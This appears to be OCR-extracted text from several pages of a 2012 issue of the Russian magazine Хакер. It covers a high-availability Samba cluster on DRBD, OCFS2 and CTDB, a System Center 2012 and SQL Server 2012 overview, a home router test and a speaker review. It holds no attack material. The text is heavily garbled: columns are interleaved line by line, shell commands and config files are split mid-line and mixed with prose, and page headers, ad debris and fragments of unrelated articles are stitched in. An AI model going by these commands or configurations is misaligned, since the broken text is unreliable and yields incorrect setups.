ОТКАЗОУСТОЙЧИВЫЙ хранения данных. В большинстве случаев эта
задача решается с помощью покупки разного
СЕРВИС ХРАНЕНИЯ рода оборудования, реализующего NAS, однако
ДАННЫХ НА БАЗЕ создать высокопроизводительный и устойчивый
к сбоям файловый сервис можно и на базе
SAMBA парочки стареньких серверов, оснащенных
достаточно емкими дисками.
122 ХАКЕР
0122 ХАКЕР 04
04 /159/
/159/ 2012
2012
Неизменно
Неизменно высокая
высокая доступность
доступность
ХАКЕР 123
ХАКЕР 04
04 /159/
/159/ 2012
2012 0123
SYN/ACK
SYN/ACK Евгений Зобнин ([email protected])
124 ХАКЕР
0124 ХАКЕР 04
04 /159/
/159/ 2012
2012
Неизменно
Неизменно высокая
высокая доступность
доступность
файловую систему. Стандартная ФС не подойдет, так как не сможет Далее ФС можно смонтировать (здесь и далее я буду использо-
обеспечить соответствие метаданных при одновременном доступе вать каталог /samba в качестве точки монтирования и корня для
к ФС с разных узлов. Поэтому нам нужна параллельная файловая Samba):
система (также называемая кластерной), на роль которой отлично
подойдет OCFS2 от Oracle (хотя можно использовать и любую дру- # mkdir /samba
гую, например GFS2). # echo "/dev/drbd0 /samba ocfs2 noatime 0 0" >> /etc/fstab
Код OCFS2 есть в ядре, поэтому все, что требуется установить, # mount /dev/drbd0
это утилиты управления:
Сделать это необходимо на обоих узлах. Чтобы избежать воз-
# apt-get install ocfs2-tools можных проблем в будущем, проверь работоспособность кластера
и корректность настроек с помощью копирования файлов и ката-
Конфиг файловой системы хранится в /etc/ocfs2/cluster.conf. логов в файловую систему. При правильной настройке содержимое
В нашей конфигурации он должен иметь примерно следующий ФС должно выглядеть идентично на обоих узлах.
вид:
ЗАПУСК SAMBA
# vi /etc/ocfs2/cluster.conf Если в работе файловой системы не возникает проблем, то можно
cluster: переходить к установке и настройке Samba. Главное здесь, как я
node_count = 2 уже говорил, демон CTDB, поэтому мы остановимся на очень про-
name = ocfs2 стом конфиге Samba, а ее кластерную составляющую рассмотрим
более подробно.
node: Итак, наш конфиг Samba будет выглядеть примерно так:
ip_port = 7777
ip_address = 192.168.0.1 [global]
number = 1 clustering = yes
name = node1.cluster.local idmap backend = tdb2
cluster = ocfs2 private dir=/samba/ctdb
fileid:mapping = fsid
node: vfs objects = fileid
ip_port = 7777
ip_address = 192.168.0.2 [public]
number = 2 comment = public share
name = node2.cluster.local path = /samba/public
cluster = ocfs2 public = yes
writeable = yes
Этот конфиг описывает кластер с именем ocfs2 и двумя нодами: only guest = yes
node1.cluster.local и node2.cluster.local. Имена нод должны совпадать
с именами хостов, поэтому необходимо заранее позаботиться о при- Это простейший пример файла /etc/samba/smb.conf с одной пу-
вязке имен хостов к IP-адресам в файле /etc/hosts обоих узлов. Имя бличной «шарой», а также приватным каталогом /samba/ctdb для хра-
кластера менять не стоит, так как загрузочные скрипты по умолчанию нения данных демона CTDB. Фактически, только первые три строки
будут инициализировать кластер «ocfs2» и не смогут завершить этот необходимы для работы самбы в кластерном варианте, остальное —
процесс, если имя будет другим. Обрати внимание, что в этот раз мы просто оптимизация для работы с OCFS2 и описание сетевого диска.
используем внешние IP-адреса. Каталоги, естественно, необходимо создать заранее:
Копируем конфиг на оба узла и запускаем службу o2cb:
# mkdir /samba/ctdb
# /etc/init.d/o2cb start # mkdir /samba/public
# chmod 777 /samba/public
Теперь можно создать файловую систему на DRBD-устройстве.
Сделать это можно с любого узла: Инициализируем базу паролей:
ХАКЕР 125
ХАКЕР 04
04 /159/
/159/ 2012
2012 0125
SYN/ACK
SYN/ACK Евгений Зобнин ([email protected])
126 ХАКЕР
0126 ХАКЕР 04
04 /159/
/159/ 2012
2012
Неизменно
Неизменно высокая
высокая доступность
доступность
INFO
Если тебе
потребуется собрать
кластер из более чем
двух машин, можно
использовать любую
распределенную
ФС вроде lustre и
GlusterFS.
WARNING
Чтобы Samba
работала
правильно, следует
позаботиться
об управлении
учетными записями
пользователей.
В официальном
руководстве
подробно описано,
как это сделать.
Да в общем-то ничего. Если сервер упал из-за ошибок в ПО или mail foo@bar -s "`hostname` is UNHEALTHY" ...
каких-то непреднамеренных действий со стороны третьих лиц ;;
(пропало питание, не сработал UPS и так далее), то после пере- healthy)
загрузки узел восстановит свое состояние автоматически. То же mail foo@bar -s "`hostname` is HEALTHY" ...
самое справедливо и в отношении поломки одного из внутрен- ;;
них компонентов сервера. Если же умер сам жесткий диск, то esac
после его замены сервер достаточно просто ввести в строй. В
большинстве случаев для этого понадобится выполнить всего За состоянием CTDB в режиме реального времени можно на-
две команды: блюдать с помощью команды «ctdb status». Три первых строки в ее
выводе наиболее информативны, они отражают состояние узлов:
# drbdadm create-md r0 • OK — узел функционирует нормально;
# drbdadm attach r0 • DISCONNECTED — узел недоступен;
• DISABLED — узел отключен администратором, однако он спосо-
Затем начнется синхронизация массива, по окончании которой бен нормально функционировать;
можно вновь смонтировать раздел и перезапустить самбу и CTDB: • UNHEALTHY — существуют проблемы, мешающие подключить
узел к кластеру, при этом сам демон CTDB работает нормально;
# mount /dev/drbd0 • BANNED — узел попал в бан из-за слишком большого количе-
# /etc/init.d/ctdb restart ства попыток восстановить работу, скорее всего проблема в
# /etc/init.d/samba restart неправильной настройке CTDB;
• STOPPED — узел отключен от кластера, но принимает управ-
Чтобы быть в курсе событий и вовремя реагировать на падение ляющие команды;
узлов, следует применять различные методы мониторинга, это мо- • PARTIALLYONLINE — узел работает, но недоступен из внешней
жет быть что угодно, начиная банальным пингом по крону и закан- сети.
чивая специализированными система типа monit. Мы уже не раз
писали в ][ о мониторинге, поэтому я не буду рассказывать об этом Также следует обратить внимание на строку Recovery mode, от-
подробно. Кстати, отслеживать ситуации с проблемами в работе ражающую режим работы кластера. Возможные значения:
CTDB очень просто с помощью скрипта /etc/ctdb/notify.sh, который • vNORMAL — кластер функционирует нормально.
выполняется в тех случаях, когда появляются проблемы в работе • RECOVERY — производится восстановление работы кластера,
узла, и он отключается от CTDB-кластера. Прописать в скрипт на время которого он недоступен.
можно все что угодно, — например, отправку письма админу:
В любой момент узел можно отключить от кластера с помощью
# vi /etc/ctdb/notify.sh команды «ctdb disable» и вернуть с помощью «ctdb enable».
event="$1"
shift ВЫВОДЫ
Сегодня развернуть кластер высокой доступности не так уж и
case $event in сложно. Как видишь, все что для этого требуется — несколько
unhealthy) машин, пара жестких дисков и немного свободного времени. z
ХАКЕР 127
ХАКЕР 04
04 /159/
/159/ 2012
2012 0127
SYN/ACK
SYN/ACK Сергей Яремчук ([email protected])
В SCCM 2012 появилась роль Central Administration Site Список ролей сайта SCCM 2012 также претерпел изменения
SYSTEM CENTER CONFIGURATION MANAGER 2012 Такой сайт не обслуживает клиентов и поддерживает ограниченное
Первое, что бросается в глаза, это изменение списка продуктов, количество ролей (AI, Software Update Point, RSP и SHV). Но главное,
входящих в семейство System Configuration. Теперь он выглядит сле- в подчинении CAS может быть только один основной (Primary) сайт,
дующим образом: Configuration Manager, Operations Manager, Service тогда как ранее поддерживалась вложенность нескольких Primary.
Manager, Data Protection Manager (DPM), Virtual Machine Manager Secondary Site требуют наличия SQL-сервера (можно использовать бес-
(VMM), Orchestrator и два новых продукта — Endpoint Protection платный Express). Привычных режимов Native и Mixed нет, теперь просто
(ранее Forefront EP) и AppController. Центральное место в линейке указываем режим работы по HTTP и/или HTTPS, как для сайта в целом,
занимает SCCM 2012 (также известен как v.Next), покрывающий так и на Distribution Point. На разные коллекции можно назначать свои
практически полный цикл управления всей ИТ-инфраструктурой — настройки. Клиент может перебирать между несколькими Management
установка ОС, приложений и обновлений, контроль конфигурации, Point внутри сайта и подключаться к доступному. Это, кстати, основные
инвентаризация софта и оборудования. Поэтому с него и начнем. причины отказа от многочисленных Primary сайтов, так как такой подход
Требования к системе SCCM 2012 немного изменились, те- упрощает структуру, да и уменьшает количество лицензий. Reporting
перь только 64-битные ОС, его можно установить на Win2k8/R2 Point теперь носит имя Reporting Services Point и базируется на SQL
с MSSQL2k8SP1 (x64) или позднее. Хотя точки распространения (DP, Reporting Services, поэтому не получится перенести настройки со старой
Distribution Point) по-прежнему работают на х86 Win. Так как измени- системы. Точки Branch DP уже нет как таковой, SCCM 2012 использует
лась архитектура и логика работы, апгрейд со старых версий SCCM технологию BrachCache. В SCCM 2012 реализована новая концепция, по-
не предусмотрен. Для миграции с SCCM 2007 на SCCM 2012 пред- лучившая название UCM (User Centric Management), — такой подход сде-
ложен мастер (Migration Æ Migration Jobs), который после запуска лал его более дружелюбным к пользователю, предлагая ему большие
будет задавать вопросы о коллекции, объектах и прочих специфи- возможности по контролю и самостоятельному сопровождению системы
ческих настройках. Внешне сам процесс выглядит довольно просто, (естественно, в рамках политик). Теперь именно пользователь выбирает
в результате будут перенесены основные настройки, а также образы, приложения для установки и определяет, когда на компьютер будут за-
обновления, драйвера и прочее. Правда, для этого необходимо будет гружаться обновления, указывая для этого рабочие часы в настройках.
полностью развернуть новую инфраструктуру, в том числе переуста- Ранее все было с точностью наоборот, — основной точкой управления
новить клиента, перенести ресурсы и по окончании процедуры был компьютер, пользователь оставался за кадром и решений никаких
выключить старые сервера. Конечно, некоторая часть данных в новой не принимал. Новый подход видится мне более правильным, поскольку
консоли потребует уточнения, — например, если пакеты хранились администратор не всегда владеет ситуацией и ориентируется лишь на
локально, понадобится указать новый путь, хотя для их размещения роль и группу. Кроме того, индивидуальные требования при большом
обычно используются общие ресурсы, так что особых проблем быть не количестве пользователей учитывать тяжело, а обновление, да еще
должно. База инвентаризации не переносится, она будет заполнена с перезагрузкой, устанавливаемое в неподходящее время, может сильно
новыми данными, поэтому не сохранится и история. помешать. Если за компьютером работает несколько пользователей,
В SCCM2012 интегрирована четвертая версия инструмента ми- один из них назначается основным. Сами приложения разделены на
грации учетных записей USMT (User State Migration Toolkit). Функция обязательные и доступные (Required или Available), также определяется
развертывания ОС OSD (Operating System Deployment) всегда была тип установки (локальная, терминал, виртуальное App-V, Windows Mobile
одной из сильных сторон SCCM, с появлением иерархической модели CAB), зависимости и прочее. Для поиска Available приложений пользо-
(образы не привязаны к определенному сайту) нет необходимости
в сохранении индивидуальных образов, существенно упрощена ра-
бота с WIM. Возможность PXE теперь поддерживается только точками
распространения DP. Поддержка технологии Intel vPro/AMT позволяет
получить доступ к железу, минуя ОС. Одной из целей разработчиков ПОДДЕРЖКА ТЕХНОЛОГИИ
было уменьшение количества серверов, так как ранее из-за специфи-
ческих настроек коллекции часто требовался еще один Primary Site, INTEL VPRO/AMT ПОЗВОЛЯЕТ
в результате даже в небольшой организации серверов могло быть
неприлично много. В иерархии появилась роль Central Administration ПОЛУЧИТЬ ДОСТУП К ЖЕЛЕЗУ,
Site (CAS, аналог Central Primary Site), используемая только для
управления иерархией и отчетов. МИНУЯ ОС
ХАКЕР 04 /159/ 2012 129
SYN\ACK
SYN/ACK
INFO
• Обзор
возможностей
SCCM2007 ищи в ][
08.09/09.09/01.10.
• Установка
и настройка SCOM
2007 описана в ][
08.11.
• Процесс
развертывания FEP
2007 освещен в ]
[ 09.11.
• Подробно о работе
с MDT 2010 читай в ][
10.09.
WWW
• Страница SCCM
2012: clck.ru/eN3T.
Server Task Sequence (развертывать VDI, клиентский ПК или сервер). Нововведений очень много, и они затронули все без исключения
Конечно, при помощи MDT 2010 также было возможно произвести подкомпоненты сервера. Одни направлены на повышение произво-
P2V миграцию, задействуя Sysinternal Disk2VHD (на TechNet доступна дительности и доступности, другие позволили расширить круг задач.
инструкция clck.ru/fQOp), но процесс не совсем тривиален и не всем К слову, в тестировании CTP-версии участвовало более 100 000 поль-
понятен. Теперь это стандартная операция, все настройки которой зователей, которые высказали свое мнение по поводу исправлений.
выполняются за несколько кликов мышкой. Также заявлено, что Приведем лишь некоторые, наиболее важные.
MDT 2012 будет поддерживать грядущую ОС Win8. Используемый для Сисадмины наверняка оценят поддержку установки на Win2k8R2
редактирования установок в MDT_FOLDER/Scripts/UDIWizard_Config. в режиме Server Core: теперь для развертывания SQL-сервера не тре-
xml инструмент UDI Designer (User-Driven Installation, появился буется графическая оболочка. Представлено несколько инструментов
в MTD2010 Update 1) получил новый интерфейс и возможности. Так миграции: Upgrade Advisor, Distributed Replay и Migration Assistant
вместо двух сценариев из коробки теперь их три: New Computer, (SSMA). Базирующаяся на концепции групп доступности (Availability
Refresh и Replace. Администратор может просмотреть список всех Groups) технология HADR (High-Availability and Disaster Recovery)
сценариев в одном окне и изменить расположение простым перета- позволяет повысить доступность экземпляров SQL Server за счет
скиванием. Сам мастер расширяем, хотя процесс не совсем прост (на дополнительных копий БД. Такие копии могут работать в режиме
TechNet приводится пример кода). А еще — усовершенствован мастер «только чтение» и использоваться, например, для отчетов, что снимет
Lite Touch, улучшена миграция учетной записи, реализована полная нагрузку с рабочей БД.
поддержка WinRE. Все задачи можно решить при помощи PowerShell. Реализована поддержка кластера на разных подсетях (SQL
Поддержка старых ОС WinXP и Win2k3 сохранена. Server Multi-Subnet Clustering). Для очистки дубликатов в данных
предложен новый компонент Data Quality Services. Инструменты
НОВОЕ В MS SQL SERVER 2012 (DENALI) управления позволяют эффективно манипулировать произво-
Вероятно, SQL Server’у будет принадлежать первенство в линей- дительностью в такой многопользовательской среде как частное
ке обновлений 2012, так как его выход планируется уже весной. облако. Новый компонент Power View (Crescent) с богатыми воз-
можностями представления информации для анализа позволяет сути, AppController призван дополнить все имеющиеся сегодня
пользователям самостоятельно строить отчеты на основе BISM инструменты, с которыми приходится иметь дело администра-
(Business Intelligence Semantic Model). Семантическая модель тору: SCVMM, SSP (Virtual Machine Manager Self-Service Portal
бизнес-аналитики BISM объединяет в себе модели данных UDM или Solution Accelerator), DDTK (Dynamic Datacenter Toolkit)
и табличную PowerPivot. Улучшены механизмы полнотекстового и консоль Azure Platform. AppController позволяет владельцам
поиска: по отдельным свойствам через IFilter, и NEAR, позволяю- приложений создавать ресурсы с использованием шаблонов
щий указать порядок следования слов и расстояние. Добавлены и библиотек, управлять ими, отслеживать активности, выпол-
новые разрешения и механизм пользовательских серверных нять журналирование всех действий и многое другое. Например,
ролей, добавлена поддержка SHA2 256/512. Также предложена SQL разворачивать приложения могут сами менеджеры подразделе-
Express LocalDB – легковесная версия БД с поддержкой всех функ- ний, а ИТ-персонал просто контролирует этот процесс. Каждый
ций, не требующая конфигурирования и прав администратора. пользователь получает веб-интерфейс, где будут доступны только
определенные (в зависимости от его роли) функции.
APPCONTROLLER 2012
AppController 2012 — новое решение в семействе System ЗАКЛЮЧЕНИЕ
Center, предназначено для контроля приложений внутри об- Большая часть изменений носит позитивный характер, поскольку по-
лака (публичного и частного), развертывания и управления зволяет упростить работу как админу, так и пользователям. Осталось
сервисами. Это единый интерфейс ко всем ЦОД и Azure. По дождаться финальных релизов. z
Модель лицензирования всех продуктов линейки System Cen- Первая позволяет управлять только двумя виртуальными ОС (на
ter 2012 полностью изменилась (подробнее clck.ru/ePUN), она не частном или публичном облаке), у второй ограничения отсутствуют.
привязывается к решению и оптимизирована под использование Причем в пакет лицензий уже включены права на использование
в рамках private cloud. Теперь все лицензии включают в себя серверов управления и SQL Server, - отдельно их покупать тоже не
право на использование всего функционала всех продуктов потребуется.
линейки. Другими словами, отдельные лицензии на продукты Суммарно стоимость лицензии выросла, но она нивелируется
исчезли, и нет ограничений по возможностям. При этом консоли за счет того, что в нее включены лицензии на подкомпоненты.
управления уже не требуют лицензии. Хотя одно ограничение Клиентские лицензии по-прежнему требуются, но теперь они также
все же есть — каждая лицензия покрывает 2 физических CPU. объединены и будут доступны в рамках набора System Center Client
Доступны лишь два варианта: System Center 2012 Standard и Data- ML Suite, в который входят лицензии для Service Manager, Operations
center, которые отличаются лицензированием виртуальных сред. Manager, Data Protection Manager и Orchestrator. Отдельно доступны
Подписка ЭКОНОМИЯ
500 руб.
±¦
• почтой по адресу: 115280, Москва,
«¯ ·¦
¦ ®¡
x ²¦®³À¢±½ 09 (152) 2011
®¥ : 210
¯£ Ñ.
¡®
®¡
À
LULZSEC НА КОМПЛЕКТ ЖУРНАЛОВ
²¦®³À¢±½ 09 (152) 2011
Сетевой
ТЕСТИРОВАНИЕ ТОПОВЫХ
РОУТЕРОВ
еспроводной маршрутизатор – это не просто коробочка, же будем пользоваться throughput, для объективности. Каждый
Б в которую можно «воткнуть интернет» и раздавать его
по проводам и воздуху. Такие устройства таят в себе
тест идет не менее минуты. На данном этапе тестирование можно
поделить на три составляющие:
множество интересных функций, о которых ты можешь даже и не 1) Тест производительности протокола PPTP. На ПК с Microsoft
догадываться. В этом обзоре мы собрали самые производитель- Windows Server 2008 R2 Standard поднимается PPTP-сервер, затем
ные бытовые роутеры от известных компаний. Итак, втыкай свой роутер настраивается на подключение по данному протоколу через
патчкорд, – поехали! WAN-порт. К LAN-порту подключается клиент.
2) Тест производительности NAT. Настройка аналогична первому
МЕТОДИКА ТЕСТИРОВАНИЯ случаю, только подключение настраивается через Static IP.
Вначале давай ознакомимся с методикой тестирования роутеров. 3) Тест Wi-Fi. К LAN-порту маршрутизатора подключается один
Начнем с железа. Нам понадобятся сервер, клиент и ноутбук. Те- клиент, а по беспроводной сети – второй. Таким образом, пропу-
стировать будем на платформе Windows, поэтому на сервере уста- ская трафик между двумя ПК, мы можем оценить производитель-
новлена Microsoft Windows Server 2008 R2 Standard, а на остальных ность именно беспроводной сети. Также настраивается шифрова-
ПК – Microsoft Windows 7 Ultimate x64. Для измерения результатов ние WPA2-PSK с ключом AES.
и нагрузки канала будет использоваться пакет от компании Ixia, Стоит отметить, что для теста будут использоваться одноименные
содержащий в себе конечные точки (endpoints, должны быть уста- WiFi-«свистки»: ASUS USB-N53, D-Link DWA-160, TP-Link TL-
новлены на всех ПК, участвующих в тесте) и консоль управления WN821N и ZyXEL NWD2205 EE. Для остальных устройств применяем
Ixchariot. Ixchariot имеет в своем арсенале множество скриптов, мы адаптер ASUS USB-N53.
форсаж
ASUS RT-N66U
«Ой, какой красивенький», – фраза девушки техноманьяка, ко-
торый приобрел себе ASUS RT-N66U. Действительно, этот роутер
имеет необычный и привлекательный внешний вид. В компа-
нии ASUS учли недостатки предыдущей модели ASUS RT-N56U
и сделали корпус из матового пластика вместо глянца, а кроме
того роутер теперь имеет три внешних антенны, располагается
горизонтально, что более удобно, и его стало возможно повесить
на стену. В общем, внешние недоработки предыдущего ASUS RT-
N56U были исправлены.
Роутер ASUS RT-N66U сочетает в себе мощь и простоту настрой-
ки, интуитивно понятный пользовательский интерфейс позволит
разобраться в настройках даже новичку. Устройство оснащено
двумя портами USB, так что ты можешь одновременно использовать
внешний накопитель и принтер для доступа к ним по сети. ASUS RT-
N66U напичкан серьезным железом и потому показывает отличные
результаты в тестах: обошел конкурентов своего класса во всем,
кроме одного параметра – скорость PPTP. Однако сегодня трудно СКОРО В
найти провайдера, который бы обеспечивал доступ к интернету ПРОДАЖЕ
на скорости, превышающей 100 Мбит/с, а с этим ASUS RT-N66U
справится легко. Кстати, этот роутер поддерживает Dual Access, что
очень важно для большинства отечественных провайдеров.
D-LINK DSR-500N
ВНЕ КОНКУРСА
трогий и лаконичный внешний вид D-Link DSR-500N
С говорит нам о серьезной начинке и профессиональной
направленности устройства. Крепления для серверной
стойки, переднее расположение разъемов и два WAN-порта – все
это фичи промышленного масштаба. Однако D-Link DSR-500N
оснащен USB-портом и модулем Wi-Fi (в крупных сетях чаще
используются отдельные точки доступа), больше подходящими
для дома и малого офиса. Таким образом, мы получаем гибрид,
сочетающий в себе функционал как для дома, так и для большого
офиса, и при этом обладающий железом, которое может выдержать
серьезную нагрузку.
Настройка D-Link DSR-500N аналогична настройке остальных
продуктов D-Link. Основные параметры может сконфигурировать
и новичок, благо присутствует мастер пошаговой настройки интер-
нета и сети Wi-Fi. Описание всего функционала данного девайса
не укладывается в формат статьи, так что скажем лишь, что вряд
8000 ли найдется человек, которого не устроят возможности D-Link
РУБ. DSR-500N.
Все бы хорошо, но большую ложку дегтя добавляет сырая про-
шивка. Правда, инженеры D-Link заявляют, что в скором времени
все будет исправлено. Хотелось бы верить, ведь такие несерьезные
показатели работы по PPTP и Wi-Fi смотрятся на фоне реальной
производительности устройства просто смешно.
NETGEAR WNDR4000
лавные формы, черный глянцевый пластик, мягкие, не
П раздражающие светодиоды… Узнаешь? Правильно, оче-
редной продукт от NETGEAR – роутер WNDR4000. Устрой- 6000
ство обладает хорошей производительностью, надежно и легко РУБ.
настраивается. Несмотря на то, что это общие слова, NETGEAR
действительно с каждой моделью совершенствует свои показате-
ли производительности. Данный роутер стал очередной ступенью
в линейке высокопроизводительных устройств. Роутер порадовал
отличными скоростями PPTP и NAT. Производительность беспро-
водной сети оказалась на уровне выше среднего. Также NETGEAR
WNDR4000 оснащен USB-портом, к которому может быть подклю-
чен накопитель для общего доступа по сети. Подойдет для тех, кто
превыше всего ценит надежность.
ТЕХНИЧЕСКИЕ NETGEAR
ASUS RT-N66U D-Link DSR-500N
ХАРАКТЕРИСТИКИ WNDR4000
Интерфейсы: 1x WAN (RJ-45) 10/100/1000 Мбит/сек, 4x 2x WAN (RJ-45) 10/100/1000 Мбит/сек, 4x LAN 1x WAN (RJ-45) 10/100/1000 Мбит/сек, 4x LAN
LAN (RJ-45) 10/100/1000 Мбит/сек (RJ-45) 10/100/1000 Мбит/сек (RJ-45) 10/100/1000 Мбит/сек
Беспроводная точка доступа Wi-Fi: IEEE 802.11n IEEE 802.11n IEEE 802.11 a/b/g/n
Частотный диапазон: 2.4 ГГц, 5 ГГц 2.4 ГГц 2.4 ГГц, 5 ГГц
Безопасность: WEP, WPA/WPA-PSK, WPA2/WPA2-PSK WEP, WPA/WPA-PSK, WPA2/WPA2-PSK (TKIP, WEP, WPA/WPA-PSK, WPA2/WPA2-PSK (TKIP,
(TKIP, AES) AES) AES)
Функции роутера: NAT, DynDNS, Static Routing, DHCP, QoS NAT, DynDNS, Static Routing, DHCP, QoS NAT, DynDNS, IPTV, Static Routing, DHCP, QoS
Поддержка соединений: PPPoE, PPTP, L2TP, Static/Dynamic IP PPPoE, PPTP, L2TP, Static/Dynamic IP PPPoE, PPTP, L2TP, Static/Dynamic IP
Дополнительно: EZSetup, WPS, медиа-сервер UPnP, WPS, 1x USB, управление через консоль, Дополнительно: WPS, счетчик трафика, 1x USB
AiDisk, 2x USB технология Green
TP-LINK TL-WR1043ND
первую очередь этот роутер будет интересен тем, кто умеет
В считать деньги. TP-Link TL-WR1043ND – самое дешевое
устройство из нашего теста, при этом обладает гигабитным
коммутатором и USB-портом. Однако данная модель показывает не са-
мые высокие скорости. Тут важно понять, что ты хочешь от устройства:
работу «из коробки» и высокую производительность или длительную
установку и настройку сторонней прошивки? Если выбрать первый
вариант, то на сегодняшний день для TP-Link TL-WR1043ND выпу-
стили стабильную прошивку, которая дружелюбна, имеет неплохой
набор функций и не зависает. Выбирая второй вариант, ты получаешь
2000 больший функционал (например, возможность подключить принтер
РУБ.
к USB-порту), однако сторонние прошивки совсем не гарантируют
стабильной работы. Решать тебе, но в любом случае мы можем смело
утверждать, что в данном ценовом сегменте устройство выглядит
очень привлекательно. Из недостатков стандартной прошивки можно
отметить долгое применение настроек.
ВЫВОДЫ
Итак, если ты все еще сомневаешься в своем решении,
TP-Link TL- ZyXEL Keenetic
WR1043ND Giga то мы тебе поможем. Взяв на вооружение ASUS RT-N66U,
ты получишь высокопроизводительное и функцио-
нальное устройство — девайс имеет хороший запас по
скорости, который — мы уверены — станет еще больше
1x WAN (RJ-45) 10/100/1000 Мбит/сек, 1x WAN (RJ-45) 10/100/1000 Мбит/сек,
4x LAN (RJ-45) 10/100/1000 Мбит/сек 4x LAN (RJ-45) 10/100/1000 Мбит/сек после выхода новых прошивок. ASUS RT-N66U получает
IEEE 802.11a/b/g/n IEEE 802.11n «Выбор редакции».
2.4 ГГц 2.4 ГГц
WEP, WPA/WPA-PSK, WPA2/WPA2- WEP, WPA/WPA-PSK, WPA2/WPA2- Звание «Лучшей покупки» присваивается роутеру ZyXEL
PSK (TKIP, AES) PSK (TKIP, AES) Keenetic GIGA за его «всеядность» и хорошую производи-
NAT, DynDNS, Static Routing, DHCP, NAT, DynDNS, Static Routing, DHCP, тельность. NETGEAR WNDR4000 впишется там, где нужна
QoS QoS
PPPoE, PPTP, L2TP, Static/Dynamic IP PPPoE, PPTP, L2TP, Static/Dynamic IP производительность и стабильность. Ну а модель TP-
Дополнительно: WPS, 1x USB WPS, TVport, 2x USB Link оказалась не только очень стабильной, но и самой
доступной во всем тесте. z
ASUS RT-N66U
D-Link DSR-500N
NETGEAR WNDR4000
TP-Link TL-WR1043ND
FDX
Downstream
Upstream 0 10 20 30 40 50 60 70 80 90 100 110 120 130 140
Наглядное превосходство 5 ГГц канала. Что касается 2.4 ГГц, то впереди всех ASUS RT-N66U
FDX FDX
Downstream
Upstream 0 50 100 150 200 250 300 Downstream
Upstream 0 500 1000 1500
Даже ASUS RT-N66U выглядит слабым на фоне Netgear WNDR4000 Скорее бы и другие показатели D-Link DSR-500N были схожи с данными при тесте NAT
ASUS RT-N66U
D-Link DSR-500N
NETGEAR WNDR4000
TP-Link TL-WR1043ND
FDX
Downstream
Upstream 0 10 20 30 40 50 60 70 80 90
На удалении скорость уменьшилась пропорционально – вполне закономерно
EDIFIER 1200
РУБ.
MP15 PLUS
ТЕХНИЧЕСКИЕ Представим картину: счастливчик, купивший новый
ПРОСТО
КОНФЕТКА!
ством идут все необходимые кабели, а также чехол для
ХАРАКТЕРИСТИКИ: ноутбук, возвращается домой. Зажарив в микроволновке транспортировки.
гору поп-корна и приготовив сладкой колы со льдом, он Вообще существует множество портативных систем для
Выходная мощность: 1.2х2 Вт
Диапазон воспроизводимых включает фильм, который давно хотел посмотреть. Каза- воспроизведения звука, но EdifierMP15 Plus хорошо сба-
частот: 100-20000 Гц лось бы — идиллия. Но на протяжении всего просмотра лансирована в плане функционала и удобства. Такую ко-
Динамики:
• диаметр: 40 мм
не покидает ощущение, что что-то не так. А все из-за лонку можно везде возить с собой — карман оттягивать
• магнитное экранирование: 6 Ом звука, доносящегося из «недодинамиков», встроенных не будет, так как весит всего 200 грамм. Также можно не
Входная чувствительность: в ноутбук. Конечно, динамики лэптопов класса Hi-End бояться повредить мембрану динамика — она защищена
450 мВ
Входной импеданс: 10 кОм позволяют с комфортом посмотреть фильм и даже послу- пластиковой дугой.
Управление: селектор шать музыку, но что делать обладателям более демо- Звук у EdifierMP15 Plus такой, какой и должен быть
входа, воспроизведение/ кратичных моделей? Ответить на этот вопрос поможет у портативной колонки. В меру громкий, не перегружен-
пауза, переключение треков
и радиостанций, громкость продукт компании Edifier. ный, без завышенных верхних частот. Эта система может
Режимы работы: 3.5 мм Edifier MP15 Plus или Edifier Audio Candy Plus – это порта- с лихвой заменить множество настольных вариантов
стерео вход, воспроизведение
с SD-карты, FM-радио
тивная акустическая система — миниатюрное устрой- фирмы «ноунейм» большего размера. Для оценки звуча-
Габариты: 200х60х33 мм ство приятного дизайна. К нам в тестовую лабораторию ния мы использовали список треков, в который входили
Масса: 0.2 кг попал семпл черного цвета, но данная модель представ- песни разных стилей и фильмы. Понятно, что прослуши-
лена в различных цветовых вариантах на любой вкус. вание lossless-форматов на этом устройстве бессмыс-
Система имеет несколько режимов работы. Первая и, ленно, поэтому все звуковые дорожки воспроизводились
пожалуй, самая главная функция — это воспроизве- в формате MP3. В качестве источника звука использова-
дение музыки через линейный вход. Питается система лись ноутбук Toshiba Satellite L635-12Qи iPod nano 5G.
от встроенного аккумулятора, а заряжается — от USB.
Второй и третий режимы — FM-приемник и воспроизве- ВЫВОДЫ
дение музыки с SD-карты соответственно. Пока меломаны сравнивают количество золота в своих
Настройка и управление системой происходят посред- проводах, обычные юзеры уже выбрали Edifier MP15
ством набора клавиш, расположенных в ряд вверху Plus в качестве портативной акустической системы для
устройства. Радует, что девайс снабдили небольшим ноутбука. Что же мы получаем? В первую очередь, воз-
дисплеем, на котором отображается нужная информа- можность смотреть фильмы и слушать музыку в разы
ция – например частота радио и имя воспроизводимого комфортнее и громче, чем через встроенную систему.
трека. Функции стандартны и не отличаются от большин- Во-вторых, карманное радио с плеером для выходов на
ства оных у обычных портативных плееров, за исключе- природу.
нием того, что радио может работать без подключения Таким образом, после знакомства с Edifier MP15 Plus
наушников в качестве антенны. В комплекте с устрой- осталось только хорошее впечатление. z
FAQ United
ЕСТЬ ВОПРОСЫ — ПРИСЫЛАЙ
НА [email protected]
Необходимо сделать так, чтобы на Существует огромное количество A: Можно не сильно морочить себе
A старте системы запускался нужный A библиотек для XMPP-протокола, в том A голову и использовать привычный
шелл. числе, например, для Python. Twisted Words Jabber. Во-первых, большинство серверов
ы стремительно приближаемся к тому сценарий или на лету поправить какие-нибудь Существует такой проект как weinre
М моменту, когда большинство людей
будут выходить в интернет не с ком-
параметры в DOM-модели страницы, но, увы,
мобильных версий этих инструментов пока (и я
1 (phonegap.github.com/weinre), кото-
рый очень похож на FireBug и Web
пьютеров, а с мобильных планшетов и смарт- уверен, что только пока) нет. Впрочем, с учетом Inspector, но обладает одним важным отличием
фонов. Возрастает сложность мобильных огромного количества разработок в этой об- — он предназначен для удаленной отладки
версий сайтов, но и их разработка усложня- ласти, было бы странно, если разработчики и, в частности, позволяет выполнять отладку
ется тем, что для браузеров в Android и iOS не нашли бы подходящих альтернатив. Их страниц на мобильных устройствах. Таким
нет таких мощных инструментов как Firebug несколько. Причем разрабатываются они как образом, дебаггер может быть запущен на
(аддон для Firefox) или Web Inspector (опция просто энтузиастами, так и гигантами вроде компьютере, а отлаживаемая страница ото-
WebKit-браузеров), которые программисты ис- Adobe. бражаться, скажем, на смартфоне. Сейчас под-
пользуют для отладки сложного JS-кода. Нет держиваются Android, iOS, BlackBerry, webOS.
более удобного способа пошагово выполнить
